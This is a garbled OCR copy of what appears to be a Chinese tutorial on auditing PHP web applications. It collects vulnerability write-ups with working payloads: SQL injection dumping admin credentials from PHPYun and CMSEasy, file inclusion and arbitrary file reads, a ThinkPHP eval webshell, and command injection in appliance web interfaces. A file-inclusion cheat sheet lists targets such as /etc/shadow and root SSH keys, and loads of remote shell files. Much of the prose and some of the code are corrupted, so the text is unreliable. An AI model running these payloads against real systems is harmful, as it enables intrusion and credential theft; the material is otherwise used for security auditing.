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}elseif($EventKey=="THiREiH ")

{
$centerStr =
$this->Audition($fromUsername);
}elseif($EventKey=="TRI&H")
{
$centerStr =
$this->lookResume($fromUsername);
}elseif ($EventKey=="Hl# "7 ")
{
$centerStr =
$this->refResume($fromUsername);
}elseif($EventKey=="#EFFHRL7")
{
$centerStr =

$this->recJob();

}elseif($EventKey=="HIf7i#H2% " ){

$centerStr = "<Content><![CDATA[ E [ E IR, B
i AR BRERBFHREFENRAMGEE. \n W: [£8]). [F
w2 HY . [F xx A7) ]]></Content>";

$this->MsgType = 'text';

}
¥
}elseif($MsgType=="text"){
if($keyword){
$centerStr =
$this->searchJob($keyword);
¥

}

$topStr = sprintf($topTpl,
$fromUsername, $toUsername, $times, $this->MsgType);
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echo
$topStr.$centerStr.$bottomStr;

}
}

XEBLHIEZER | iR AT , $MsgEvent==" CLICK' NI&iAE
FA bindUser ( ) Ai%.

FEAXERRBANES KKSER |, (BENEERE TR mBER
, —EHEIAI , FTLAXEELIL T myaccount FRAA SEZHAT
bindUser() /5%

if($EventKey=="myaccount"'){
$centerStr =
$this->bindUser ($fromUsername);

XEREATIXA bindUser()/57% , FILUXBIRE— XN AR
21,
Code:286

private function bindUser($wxid="")

{
$bindType = $this->isBind($wxid);
$this->MsgType = 'text';
return $bindType[ 'cenetrTpl'];

}

BSwxid IXPMSENIELS T isBind () /3R TR,
HesRME isBind() 574 ¢

Code:295

private function isBind($wxid="")

{
if($wxid)
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$User =
$this->obj->DB_select_once("member"," wxid ='".$wxid.""
"," uid , username ");
}
if($User['uid']>0)
{

$User[ 'bindtype'] = '1°';

$User[ 'cenetrTpl'] =
"<Content><! [CDATA[ ]
".iconv('gbk','utf-8',$this->config['sy_ webname'])."ik
i ".$User['username']." I E! \n\n\n &1 Li<a
href=\"".$this->config['sy_weburl']."/wap/index.php?m=1
ogin&wxid=".$wxid."\">fd7iX B </a>FHAT G E H Ak
ZF]1]1></Content>";

}else{

$Token = $this->getToken();

$url =
"https://api.weixin.qq.com/cgi-bin/user/info?access_tok
en="'.$Token. '&penid=".%$wxid. '&lang=zh_CN';

$CurlReturn =
$this->CurlPost($Url);

$UserInfo =
json_decode($CurlReturn);

$wxid = $wxid;

$wxname =

$UserInfo->nickname;

$this->config[ 'token_time'] =
time();

$User[ 'cenetrTpl'] =
'<Content><! [CDATA[ BB AL EIK S, <a
href=""'.$this->config['sy_weburl'].'/wap/index.php?m=1o
gin&wxid=".$wxid."'">mdiiX B </a>#4T740E 1 ]]></Content>";

}
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return $User;

XBET RN Swxid BEEHANE]T DB_select_once /57, 1XE4k
iR DB_select_once EEAHTHIESE. WRRELENEFE sql
EA

File:/Module/class/action.class.php
Code:53
function DB_select once($tablename, $where = 1, $select =

) A

$cachename=$tablename. $where;
if(!$return=$this->Memcache_set($cachename)){

$SQL = "SELECT $select FROM " .
$this->def . $tablename . " WHERE $where limit 1";

$query = $this->db->query($SQL);

$return=$this->db->fetch_array($query);

$this->Memcache_set($cachename, $return);

return $return;

FLGRBIEEFE TIEANTRE
RRAN AT
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http://192. 168. 0. 108/phpyun3/weixin/index. php?m=index&c=inde

X

POST:
<?xml version="1.0" encoding="utf-8"?>
<xml>
{ToUserName>1111</ToUserName>
<{FromUserName>1111" and 1=2 union select 1, (select
concat (username, password) from phpyun admin user limit
0, 1) #</FromUserName>
{CreateTime>1402550611</CreateTime>
MsgType>event<{/MsgType>
<{Event>CLICK</Event>
<{EventKey>myaccount</EventKey>
<{FuncFlag>0</FuncFlag>
</xml>

KRR 2
@ LoadURL  hitp://192.168.0. ixinfi

% split URL
» Execute

Enable Post data | Enable Referrer
Fostiite <Event>CLICK</Event> _
<EventKey>myaccount</Eventey>
<FuncFlag>0</FuncFlag>
</xmi>|

BARBFERKTHN , TEEN , CIRAEH

BEE—T
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18T tamper Data E58H%
0 : Content-Type:text/xml;
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http://192.168.0.108/phpyun3/weixin/index.php?m=index&c-=i

Request Header Name Request Header ... Post Parameter
Host 192.168.0.108 <?xml version
User-Agent Mozilla/5.0 (Macil

Accept text/html,applicat

Accept-Language zh-CN,zh;q=0.8,e "
Accept-Encoding gzip, deflate

Cookie PHPSESSID=9krk

Add element

Add elements
Add elements from file
Add b=

Accept-Encoding gzip, deflate
Cookie PHPSESSID=9krk
Content-Type text[xml;|

B, EARMUBEEES

http://192.168.0.

Enable Post data Enable Referrer

<Event>CLICK</Event>
<EventKey>myaccount</EventKey>
<FuncFlag>0</FuncFlag>
</xml>
>
<ToUserName><![CDATA[1111' and 1=2 union select 1,(select concat(username,password) fr:
<FromUserName><! [CDATA[1111] ]></FromUserName>
<CreateTime>1468923365</CreateTime>
<MsgType><![CDATA[ text] ] ></MsgType>
<Content><! [CDATA[ BHIphp AT RS : admin21232£297a57a5a743894a0e4a801fc3 EFINHE!

38]l{<a href="http://localhost/phpyun3/wap/index.php?m=login&wxid=1111"' and 1=2 union select 1,(select
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BABRBNE T, SEEA
. RE2015443H)

cmseasy JCRRHIFRETEA

{E#&: loopx9

File:xajax.class.php
if ($rootTag == "xjxquery") <{
$sQuery = "";
$this—>iPos++;
while ( !stristr ( $this—>aObjArray[ $this->iPos], "")) {
if (stristr( $this—>aObjArray[ $this->iPos], "") I
stristr ( $this—- >aObjArray[ $this->iPos], "")) {
$this—>iPos++;
continue;
bs
$sQuery .= $this—>aObjArray[ $this—>iPos];
$this—>iPos++;
bs
parse_str ( $sQuery, $aArray);
if ($this—>bDecodeUTF8Input) {
foreach ($aArray as $key => $value) {
$aArray[$key] = $this->_decodeUTF8Data ( $value ) ;

b
if (get_magic_quotes_gpc() == 1) {

$newArray = array( );
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foreach ($aArray as $sKey => $svalue) {
if (is_string($sValue) )
$newArray[ $sKey] = stripslashes ($sValue);
else

$newArray[ $sKey] = $sValue;

b
$aArray = $newArray;
b
b
return $aArray;
b
I RBUA A AE IR

parse_str($sQuery, $aArray);
XAEE, AG2% url 47—k decode 1)

MWk —F

<?php

echo $_GET['b'];

echo "<br>";
parse_str($_GET['b']);
echo $a;

?>

@ Lload URL httpy//localhost:8081/test.php?b=a=1%27%26
B split URL
] Execute

[7] Enable Post data [~ Enable Referrer
a=1'&

. WWW.Wwooyun.org
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oAb A

A gpe HEIIE, B TR stripslashes

if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $skey => $svalue) {
if (is_string($svalue))
$newArray[$skey] =
stripslashes($svalue);

DAFER VEM R A P FT & AT AR H
Postdata #1 LiveMessage

7% LiveMessage:

function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = addslashes(Chtmlspecialchars($al'name']));
femail =
addslashes(htmlspecialchars($a['email']));
$country =
addsTashes(htmlspecialchars($a['country']));
$phone =
addsTashes(htmlspecialchars($a['phone']));
$departmentid =
addsTashes(htmlspecialchars($a['departmentid']));
$message =
addsTashes(htmlspecialchars($a[ 'message']));

TR 2540 #% addslashes
BAVEEF :
Postdata
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function Postdata($a) {

global $db;

$chatid = $_SESSION['chatid'];

$name = $_SESSION['name'];

$a['detail'] = htmlspecialchars($a['detail']);
if (get_magic_quotes_gpc()) {

$a['detail'] = addslashes($a['detail']);

b

% gpc JFE IS, ARHEST addslashes 47 [z exp
K% url:
http://localhost/Cmseasy/celive/live/header.php

postdata:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx
%2527%252C%2528UpdateXML%25281%252CCONCAT%252
80x5b%252Cmid%2528%2528SELECT%252f%252a%252a%
252fGROUP_CONCAT%2528concat%2528username%252C%?2
527%257C%2527%252Cpassword%2529%2529%2520from%
2520cmseasy_user%2529%252C1%252C32%2529%252C0x5
d%2529%252C1%2529%2529%252CNULL%252CNULL%252
CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</
g></xjxquery>

é/\}jiEElfj\.:

LyEANAURSEAL?

2. =15 BT B s FE AR 52 31 SQL yEAN?
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e it sqli-labs 3] —F
https://github. com/Audi-1/sqli—-1labs

AR

N4 B SRR SEFRES S HRIIIEF S IN TINBIRRAY
HiESSESRIRERTERRR X NERZER Web K &F|
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BERESHN—NER , WEE JLURRIRERSS S[AYHIaSSR ( BIE
Elwebshell ) . MXHBEEEXEAMHES

( Local File Inclusion ¥IizfE3 {48 & (Remote File Inclusion)
25 . allow_url_fopen #0 allow_url_include EREG B FAIM
H8E (LFl) RETENHES (RFL) RIFM , £ PHPA AlIRE
— ™ allow_url_fopen 1%#%, Er allow_url_fopen
#1 allow_url_include 3 On ERSIEENXHE SRR , BRARM
Xt aiREE.

272 "mEXHEERE" ?

fkssesiEd php B9FE (R ) ZEEEREHN  BTERSSR
AR IEAT , NATLEBE—NEEXS , AR
PG BRI RIE R FERIB /Y.

R EIRIERGEREL -
include ( )
require ( )
include_once ( )

require_once ( )

Include : BEFIEITIEENMY | BB SIMEEXHREERT , &
FEAHES | (BEA php SXHREHAT,

Require : R include E—AREIRE , HF-EEIRAHE |, include
THEHEHEITIM require FLEE1TT .

Include_once : IXPMEREER include REWER/LFHER , REft:

ESARE AN MZXEREREN. WRELHIIT—EIBA
MAESEHITT.
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Require_once : IXMNREER require FIX B IR FEFRATIHAY
include 1 include_once E—#., FILARFHAEET.

phpcms2008 A i ST FE R A A

{E# . Jannock

14 wap/index.php

include '../include/common.inc.php’;

include "./include/global.func.php’;

$lang = include '/include/lang.inc.php’;
if(preg_match('/(mozillajm3gate|winwap|openwave)/i',
$_SERVER['HTTP_USER_AGENT')))

{

header('location:../");

}

wmlHeader($PHPCMS['sitename']);

$action = isset($action) && lempty($action) ? $action : 'index’;
if($action)

{

include './include/".$action.".inc.php’;

}

$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) :
$html;
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echo str_replace(", "\n", $html);
wmlFooter();

7>
action ZTEZEHINT , ERAIMHEETRE.

MA (Hpz—)

BEB= include\fields\areaid ™ME—3{ , BIATHITIER SQL BIA.,
40 : field_add.inc.php

if(!$maxlength) $maxlength = 255;

$maxlength = min($maxlength, 255);

$sql = "ALTER TABLE “$tablename™ ADD "$field"

VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue';
$db->query($sql);

?>

tablename FLERLIEREAN. IR, XPNHAFZER Opera FHil
Yaesimial,

F8 Opera X 55281/51A]
http://www.phpcms.cn/wap/index.php?action=../../include/fields/a
reaid/field_add&tablename=xx

simple-log f& B £ & XA EiIRRA

e KURA
f£/admin/includes/set_page.php & :

PSRRI
elseif ($action=='get_page_data')
{

require (PBBLOG_ROOT . '/includes/json.class.php');
$json = new JSON;
$file=$_POST[ 'template_file'];

$res=array ('type'=>'get_page_data','content'=>",'error'=>'no") ;
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$data=file_get_contents (PBBLOG_ROOT.'/themes/".$config[ 'template_

name'].'/".$file) ;

$res['content']=$data;

die ( $json->encode ( $res) ) ;

$_POST['template_file'1#{&45 7T $file AEEREFRIEFHEHAN
file_get_contents P EHIEERHHRRA=4

FEBEESRITT
elseif ($action=="act_set_page')
{

$data=htmlspecialchars_decode ( stripslashes ( $_POST['data'] ) ) ;
$file=$_POST[ 'template_file'];

$fp=@fopen (PBBLOG_ROOT.'/themes/". $config[ 'template_name'].'/".
$file,"w" ) or die('can not open file');

flock ( $fp,LOCK_EX ) ;

fwrite ( $fp,$data ) ;

fclose ($fp) ;

clear_tpl( );

sys_message (' TH 125U ', 'admin. php ? act=set_footer&file=". $file ) ;

It

FEBIE

$_POST['template_file 1#&45 T $file AREIZRFABIHEHA
file_get_contents REHEEEXHRAN~E

i¥ index.php 3244

POST /simple-log/admin/admin.php ? act=get_page_data HTTP/1.1
Host: xxx

User—-Agent: xxx
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Accept: application/json, text/javascript, */%

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://xxx/simple-log/admin/admin.php ? act=set_footer&file=blog.html
Content-Length: 23

Cookie: xxx

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

template_file=../index.php

SHBE cms A HE S 53 getwebshell

{E# : Bhunter
ImiEAE : core\Lib\Action\Home\MyAction.class.php

class MyAction extends HomeAction<
public function index ( ){
$this->show ( );
b
public function show ( ) {
$id = lempty ($_GET['id']) ?$_GET['id']:'hot';
$this—>display ('my_".trim ( $id ) ) ;I &

public function
fetch ( $templateFile=",$charset=", $contentType="text/html', $display=false )
{
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$GLOBALS|['_viewStartTime'] = microtime (TRUE ) ;
if (null===$templateFile )
/7 B null ZEUE AR 44 BLEGR [BIASAE 746 H
return ;
if Cempty ($charset) ) $charset = C('DEFAULT_CHARSET');
/7 WITF R gt
header ( "Content-Type:".$contentType."; charset=".$charset) ;
header ( "Cache—-control: private" ); / /357 [ =] Bk
/ /U AT
ob_start( );

ob_implicit_flush (0) ;

if ( Ifile_exists_case ( $templateFile ) )
// B AR S
$templateFile = $this—>parseTemplateFile ( $templateFile ) ;// <%
BRH A AR AR S T S b, B E T XA L.

$engine = strtolower (C ('TMPL_ENGINE_TYPE') );

if ('php'==$engine) <
/7 AR R B AR B ) it F 9 B ST A
extract ( $this- >tVar, EXTR_OVERWRITE);

// BFEBN PHP R
include $templateFile;

Yelseif ('think'==$engine && $this—>checkCache ( $templateFile) ) {
/7 WERSE Think B 51 4 5F A7 A R 7 AR BIFIRABR 247
extract ( $this—>tVar, EXTR_OVERWRITE);

/I BN IRGAT A
include
C ('CACHE_PATH'") .md5 ( $templateFile ) .C ('TMPL_CACHFILE_SUFFIX") ;
Yelse{
/7 OO E B SRS =R 51
7/ Y FIABAR 5| B A A R

$className = 'Template'.ucwords ( $engine ) ;
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require_cache ( THINK_PATH.'/Lib/Think/Util/ Template/'. $className.".class.php') ;

$tpl = new $className;
$tpl->fetch ( $templateFile, $this— >tVar, $charset ) ;

b

$this—>templateFile = $templateFile;

7/ RBIFE T AR

$content = ob_get_clean( );

/7 FERR N 4

$content = $this—>templateContentReplace ( $content ) ;

/7 A5 JRBEAR T

$content = $this—>layout ( $content, $charset, $contentType ) ;

/7 i AR SO

return $this—>output ( $content, $display ) ;

B EMALE

private function parseTemplateFile ( $templateFile) <
if ("==%templateFile) {
7/ SRRSO 4 s R IR BRAOARIIN 52 fir
$templateFile = C('TMPL_FILE_NAME');
Yelseif ( strpos ( $templateFile,'@") ) {
/7 FINFLE TR At ERRAFR il
blue@User:add
$templateFile =
TMPL_PATH.str_replace (array ('@",":") ,'/', $templateFile ) .C ('TMPL_TEMPLATE_S
UFFIX");
Yelseif ( strpos ( $templateFile,":") ) {
/7 BINFEREHAERAERAR
$templateFile =
TEMPLATE_PATH.'/".str_replace (:','/',$templateFile ) .C ('TMPL_TEMPLATE_SUF
FIX');
Yelseif ( lis_file ( $templateFile ) ) {
/7 BINE AT e B AR
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$templateFile =
dirname (C ('TMPL_FILE_NAME") ) ."/'.$templateFile.C ('TMPL_TEMPLATE_SUFFIX
Rk
b

if ( Ifile_exists_case ( $templateFile ) )

throw_exception (L ('_TEMPLATE_NOT_EXIST_").'[".$templateFile.']") ;

return $templateFile;

R ABRIX A HH?
hp A By ?

$id = lempty($_GET[id')?$_GET[4d]: hot;
$this->display('my_" trim($id));

ATEER, BNFE - DS ATAEERMASTE, FATHIA thinphp
FIEE R H S IC R DIRE -

HlE R %
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€« C' | [3 127.0.0.1/ykecms/index.php?s=my/show/id/{~eval($_POST[x])}

RAREER

EALUEE [ B ] [EE ] i [EFEER]

[fBiREE ]

SR = /template/default/Home/my_{~eval($_POST[x])}.ntmi]

WWw.wooyun.org

I8 #EH)
fIE £l e

=7 =d=h E-sii] Foln
14,05 20log 2014/5/20 20:49  ITASTE 1
] 14 05 20.og - iB5F = | B

IR SRE(E) B0) EEN) EEIH)
[ 2014-05-20T20:34:46+08:00 ] ERR: (ThlnkExceptan) Access denied

for user “root’ @ localhost’ (u51ng password: YES)
[ 2014-05-20T20:49:03+08:00 ] F (ThinkException) ﬁ*ﬁ?{’?_%’f
[. /template/defaul t Home/my_{ eval ($_POST[x1)}. himl]

wWww.wooyun.org

5|F wooyun X E

PHP S'Z#@é’\:)r:'ﬁ:l_.lﬂ’:lﬁ‘iﬁ E2EEE PHP RIREE INS4AT
BT EANNNERIREEE BN , NTRIE T TRz NI |
E)ET‘E‘E«%:SI%WFE’JSZ#;’@E%EE?&%E’JVCE%E)\O EEUNHETA
TS ( Local File Inclusion ) &R T .

BB TE—ER index.php X43:

if ($_GET [ 'func']) {
include $ _GET [ 'func' ];
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} else {
include 'default.php’;

}

EFINASREEESRZ url 5
http://example.com/index.php?func=add.php B , J&F add.php
EEIRRSHITIRE, EiEiAE http://example.com/index.php
NLBEEIAR default.php

BRARREEK Y | WNSRIARAL
http://example.com/index.php?func=upload/pic/eviljpg , B
eviljpg EHEE HERIRSSE LN— B R AR RIRERID T
BRI php {53 , BBAEERMUIBHM WS INZBRISHATT.

R E SR PTERE php (K15 | WSEREXHASHEH.
EETRNABTPLUNEEAEAOF | REARNBSIPETER
BrIRIRES

BEMNHES

include("inc/". $_GET['file']); ?>

BERBRTING :

?file=.htaccess

BRERD :

*file=../../../../../../../../]../var/lib/locate.db ?file=../.././../././../.././v
ar/lib/mlocate/mlocate.db

(linux FRIXFNSUGHEFERIE X HRIERE | FTE root 1R )

BRERAE
*file=../../../../..]..]../../../var/log/apache/error.log
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(B VA IRES " (& payload HABRE

SREX web BREEEMMECE XS :
*file=../../../../../../../..]./usr/local/apache2/conf/httpd.conf
( EZ—http://wiki.apache.org/httpd/DistrosDefaultLayout )

BE LR

?file=../attachment/media/xxx.file

15EEY session {4 :
*file=../../../../../../tmp/sess_tnrdo9ub2tsdurntvOpdirlno7

( session XH—R&E/tmp HRT , 1&=0 9 sess_[your phpsessid
value] , BRHEARIRELE/var/lib/php5 Z M , TR BIFRINSEiE
ENBCEN Y. ERLRIERIEIR FTUISRIREEE=H] session BYE , 1
VHRBETEIRIE—> shell )

ANERHBE root PRIAAT LUK IEEX IR -
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow

/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (S&HRIRTET)
/proc/mounts

/proc/config.gz

8015875 phpinfo ATLE A IERISI4
211
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http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145e
ea984284el

BIREA SRS

include("inc/". $_GET['file'] . ".htm"); ?>

%00 FRIT
*ile=../../../../../..]..]..]../etc/passwd %00
(BZ magic_quotes_gpc=off , PHP /NF 5.3.4 B%X)

%00 #HTERiED :

ile=../../../0..1..1..]..]..]../var/www/%00

(ZEZE magic_quotes_gpc=off , unix {4 ZR% , tei FreeBSD ,
OpenBSD , NetBSD , Solaris)

BRI E#MT -

ile=../../..0 ./ .] ./ ./etc/passwd/././././ .11 1..10.1.1.1 1.1
(php ARZASINTF 5.2.8()FTLARKTH |, linux BEEXXHEZEKT 4096 ,
windows EEEKTF 256

SR

?ile=../../.0../../../../../../boot.ini/......... [ ]

(php KRAINF 5.2.8)BTLARLEH . RiEA windows , HEZEEKTF
256)

TEnENEGES
include($_GET['file']); ?>
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IR ARRHAT -
?ile=[http|https|ftp]://example.com/shell.txt
(FEZE allow_url_fopen=0n #H allow_url_include=0n)

FIF php i input :
?file=php://input
(FEE allow_url_include=0On , i¥4—

http://php.net/manual/en/wrappers.php.php)

FFE php 7 filter :
?file=php://filter/convert.base64-encode/resource=index.php

(RL)

FIFE data URIs :
?file=data://text/plain;base64,SSBsb3ZIIFBIUAo=
(2= allow_url_include=0n)

FIFE XSS HUTIESAAS :
?ile=http://127.0.0.1/path/xss.php?xss=phpcode
(FBZE allow_url_fopen=0n ,allow_url_include=On HEFF X iEaE
BRBEAFHEAINGET |, SEERLSEK— XSS KR 88X R
H , AILLENEERET . KMHIEERmTIRST- -)

BRHFRTEHE S
include($_GET['file'] . ".htm"); 7>

?file=http://example.com/shell

?file=http://example.com/shell.txt?

?file=http://example.com/shell.txt%23

(FEZE allow_url_fopen=0n #H allow_url_include=0n)
?file=\evilshare\shell.php (RFEZE allow_url_include=0n)
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BARY EMTATERG S PUT

ARG PITIRIAE R D,
E Sk y

3 ff/base/stats/realtime/user_prohibit_internet.php

<?php
$ip = $_REQUEST['ip'];
$duration = $_REQUEST['duration'];
if($duration=="" || $duration==0){
$str = "ipset -A drop_user ".$ip;
}else{
$duration = $duration*60;
$str = "ipset -A drop_user
".$ip.",".%duration;

}
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exec($str);
$name = "ZEi ERIH . $p;
writeSysLog($name);

$ip = $_REQUEST['"ip'];
$str = "ipset -A drop_user ".$ip;

exec($str);

BEETES

FE A apSHIT
NA{4/base//stats/realtime/underLineUser.php

<?php
exec("ipset -nL drop_user", $drop_user);
$identifier =
htmlobject_request('identifier');
if($identifier == '') {
$identifier = array(Q);
3
switch Chtmlobject_request('action')) {
case 'fiF LM :
for($i = 0;
$i<count($identifier); $i++){
exec("ipset -D
drop_user ".$identifier[$i]);
$name = "%k BRI IR
R RN IP:" . $identifier[$i];
writesysLog($name) ;
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print("<script>window.location.href="underLin
eUser.php';</script>");
break;

}

ERIBER : $identifier = htmlobject_request('identifier’);
SRR Sidentifier N exec EBE 7
ERi# htmlobject_request ERZY :

function htmlobject_request($arg)

{
if (isset($_REQUEST[$argl))
return $_REQUEST[$arg];
else
return '';
}

NMEBBIXRECRT ISR

BTME oo

i
EEs#$identifier KIEEEHN exec , —HENHIBSHAT.
EXP :

https://**.%* ** _ *¥%/pase/stats/realtime/underLineUse
r.php?action=0 1% LM&identifier[]=123;echo '<?php
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phpinfo();?>"'>/usr/local/wholetonTM/htdocs/111111.ph
p

X ff/base/tpl/delectSSLL.php

<?php

$ss1_dir =
"/usr/local/wholetonTM/triton/conf/URL/ss1/";
$id =$_REQUEST['id'];

exec ("rm ".$ssl_dir.$id);

ECHO "rm ".$ss1_dir.$id;

7>

X H id g, EEEEA exec $AT

https://**.%* ** *%/pase/tpl/delectSSLL.php?id=;echo
'333333"'>/usr/local/wWholetonTM/htdocs/333333.php

B A AT
X ff/base/vpn/download_nodes.php

<?php

$upload_dir = str_replace(";", "",
$_REQUEST['file']);

$upload_file = "nodes";

$fp = fopen($upload_dir.$upload_file, "r
");

Header( "Content-type:
application/octet-stream ");

Header( "Accept-Ranges: bytes ");

Header( "Accept-Length:

".filesize(Supload_dir.$upload_file));
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Header( "Content-Disposition: attachment;
filename=".%upload_file);

echo
fread($fp,filesize($upload_dir.$upload_file));

fclose($fp);

exec("rm ".$upload_dir.$upload_file);
exit;
7>

A& upload_dir w4, 1 HIESEAT TIdE, (H2ASEMm

FEBRZENENKEE RS
a7 AT
E#: xfkxfk

{4/ kssl/kssl/WEBUI/www/api/service.php

<?php

include_once "../global/common.php";

include_once "../ssl/service_helper.php";

/* AbFE GET 13K */

$service_path = $_GET['service_path'];

switch( $_GET['service_action'] )

{

case 'start': {
if ( true ==

start_service($service_path) ) {
$retry_Timit = 10;
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$state_expected = 'C)F
'
WEBUI_log( LOG_INFO, "
JAEH RS $service_path" . "HIh" );
b
else {
WEBUI_log( LOG_INFO, "
BENRER RS $service_path" );

3
while( $service_path != "" &&
$retry_Timit > 0 ) {
§state =
status_service($service_path);
/* U HRP RS TA F
THAEME, Wb EREE </
if( $state ==
$state_expected ) {
break;
}
else {
sleep(l);
$retry_Timit--;
}
3
break;
}
case 'stop': {
if ( true ==

stop_service($service_path) ) {
$retry_Timit = 10;
$state_expected = 'CfF
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WEBUI_log( LOG_INFO, "
=LA RS $service_path" . "HIh" );
h
else {
WEBUI_log( LOG_INFO, "
=LA RS $service_path" );

}
while( $service_path !'= "" &&
$retry_Timit > 0 ) {
$state =
status_service($service_path);
/* R HRP IR IA F
THAEEE, Wb ERERE </
if( $state ==
$state_expected ) {
break;
}
else {
sleep(l);
$retry_Timit--;
}
3
break;

}

case 'download': {
$proxy =
get_proxy($service_path);

$usermap_url =
$proxy['usermap_url'];

if( WEBUI_exec( "$SSL_DIR/bin/hrp-downTload-use
rmap.sh $SSL_DIR/cfg/$service_path", true ) ) {
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WEBUI_log( LOG_INFO, "
MSusermap_url"." N R % $service_path". " s 5
MR ) ;

b
else {

WEBUI_log( LOG_ERR, "M
$usermap_url"." FEAREEAR S $Sservice_path" . " H PR SRS
R )

$acl_url = $proxy['acl_url'];
echo "<script

Tanguage="3JavaScript'>";

if( WEBUI_exec( "$SSL_DIR/bin/hrp-download-acT.
sh $sSL_DIR/cfg/$service_path", true ) ) {
WEBUI_log( LOG_INFO, "
MSacT_url"." FEICFEAR S $service_path". "/ ACL EIE I
Rk
echo "window.alert(\"#
TERIE DN ;"5
}
else {
WEBUI_log( LOG_ERR, "M
$acl_url"." F#RHR% $service_path™. "/ ACL B RIK" ) ;
echo "window.alert(\"#
RIS R\ 5"
h
echo "window.close();";
echo "</script>";
break;
b

case 'user': {
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if ( 'R 1=
status_service($service_path) ) {
echo "R&KE3N";
break;
b
$proxy =
get_proxy($service_path);
$mrtg_enable =
$proxy['mrtg_enable'];
$mrtg_ip = $proxy['mrtg_ip'];
$mrtg_port =
$proxy['mrtg_port'];
if ( $mrtg_enable == 'on' ) {
system( "curl
http://$mrtg_ip:$mrtg_port/?ss1" );

}
else {
echo "SERPREEF DIREARIT
A"
}
break;
3
default:

WEBUI_alert(" L Z=%k:
service_action=".$_GET['service_action']);

}

7>

FRIXEBERSE$service_path = $_GET['service_path'];
e $service_path K% start_service , stop_service ,
status_service

IXELRRETAYE S
/kssl/kssl/WEBUI/www/ssl/service_helper.php , ERi#
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function start_service( $service_path )
{

global $SSL_DIR;

global $PMONITOR_DIR;

/* Jefi A HRP FBCE S, P84T PMonitor, HiiR
E X W, hrp-can-start.sh BIAKF R */

exec( "$SSL_DIR/bin/hrp-can-start.sh
/kss1/HRP/cfg/$service_path 2>&1", $results, $ret );

switch( $ret ) {

case O:

WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --run
-f $sSSL_DIR/cfg/".$service_path."/PMonitor.conf >
/dev/null", true );
return true;

case 1:
WEBUI_alert( "ECE XH-AMIE, A BeR sk

e

ADY
return false;
case 2:
WEBUI_alert( "AHLILAELL T RHLEAE AR
&, AREBEIRS" );
return false;
case 3:
WEBUI_alert( "I/ ¥ ML HCE H AFLER) IP i
tk, AREEFIRE" );
return false;
case 4:
WEBUI_alert( "MW uy 1 C & HADFEF Frf
H, TaeEshiks" );
return false;
case 5:

WEBUI_exec( "$SSL_DIR/bin/hrp-can-start.sh
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/kss1/HRP/cfg/$service_path 2>&1", true, "M & A ZEE,
BT TEREEE" ) ;
return false;

ks
ks
function stop_service( $service_path )
{

global $SSL_DIR;

global $PMONITOR_DIR;

WEBUI_exec( "$PMONITOR_DIR/bin/PMonitor --kill
-f $SSL_DIR/cfg/".$service_path."/PMonitor.conf",
true );
}
function status_service( $service_path )

{
global $PMONITOR_DIR;

exec( "$PMONITOR_DIR/bin/PMonitor -1 | grep
\"HRP_$service_path\" | awk -F= "{print $3}'", $results,
$ret );

switch( $results[0] ) {
case "":

return "g{Eik";
case "NORMAL":

return "CEE";
case "INIT":
case "RETRYING":

return "JEshH";
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HTF status_service REIHRSBEXNG ISR , WEI1SHEN , B
F LY

& Estart_serviceFlistop_service FE,

$service pathii A TWEBUI exec, IR pE%

[l

M A4/kssl/kssl/WEBUI/www/global/common.php

function WEBUI_exec( $cmd, $show_err = false, $note =
')
{
exec( $cmd, $results, S$ret );
if( $ret !'=0 ) {
if( $show_err ) {
$err = "$4T '.$emd. " WK ;
foreach ( $results as
$err_line ) {
//2007-5-8 yanhm bugfix for 0005289:4iR{5E K%L +{{
/ /RS B 2 dn & BIE
B
if ( strncmp($err_Tline,
"Usage", 5) !=0)
break;
//}}
$err = S$err."',
'.$err_line;
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WEBUI_alert( "$note:$err" );
h

return false;

}

return true;

AT exec fr, B FIAT

FTLL service_action=start fil service_action=stop I 1775 ¥ kb iy
B PAT I

A AR IR

EMUERIEEEES | AR EX MR L NEEE RS
PHTERT , XAMEFEERZEIMISAIS I EERITIEE. WIRAXIH E
GRS A TRRBIEE PRFIRLET | 2T B RESWARAT L&
AT, IARIRS R L M — S SEIRSHCH.
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SECUH LERRRINRERS |, TEEFRELUTILE
IRSRRECERS

FriRgmiEes &R

A3 EAERREIRERT

iR B SR

N HETRRSECU AT

SRR M

o vk Wi

IRSRRECERS
SRSBHBEERSNT | EAFE LETERIBR MER SEUEESUF
L&

FriRimiEss &R
REFRRRERRLE LHEAEN LERR , 8RERRET
CKEditor,CKEditor B934 L1&iRmIA

At 34 EAERRFIRGT

RIEEFimlEes LT U4 BREIM B EiERIiRSS 25 AHER
# . REEEREIEEH
BILUR AR PR,

AT B R ES

BLmuh EER T RE R 7 — L XRNATHR TSI
H%  BRESELEHERSY | SEETHITIHIAS G EERIRS
gt 1T,
MERRSS AR e ImIS e T fegk 0. php BISXH | (BFIRBTIEE. php3
FHMRTHUTHRARESR | WEEMAT AL EHEEAITHRIT
HHRA AR EHEINEES Y RIRS =R L.
BRI TR IR ARG
php php2 php3 php5 phtml asp aspx ascx jsp jspx
ARLER THTEERERIIRSS 2RECE (15 .htm| [FERISHER
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php TS ) 28 html, xm| EESREGSNSE T
7.

FEEENHHRERER S NTFS 18UET e 1@ $DATA Sod 22 B R E|
EIRBERNE—ME LEXE T TS | XEhBIY R &
NN EHHEER SR E P B o ST RS eS0T IE.

N4 ETmRSESUFRIT
SRS LEEXHETRRN , SiENXERETSEHFEEENR
PBRISH#REAIT

SRR BT

£ LRI P ER—EASRRIFTS | 1SS LIERIIRSS 25T
PR M HI SIS,

BRI T SRR

\07%00

RS REERT |, ERERKINABREEETERSH
SRR AT

IR LERRRE

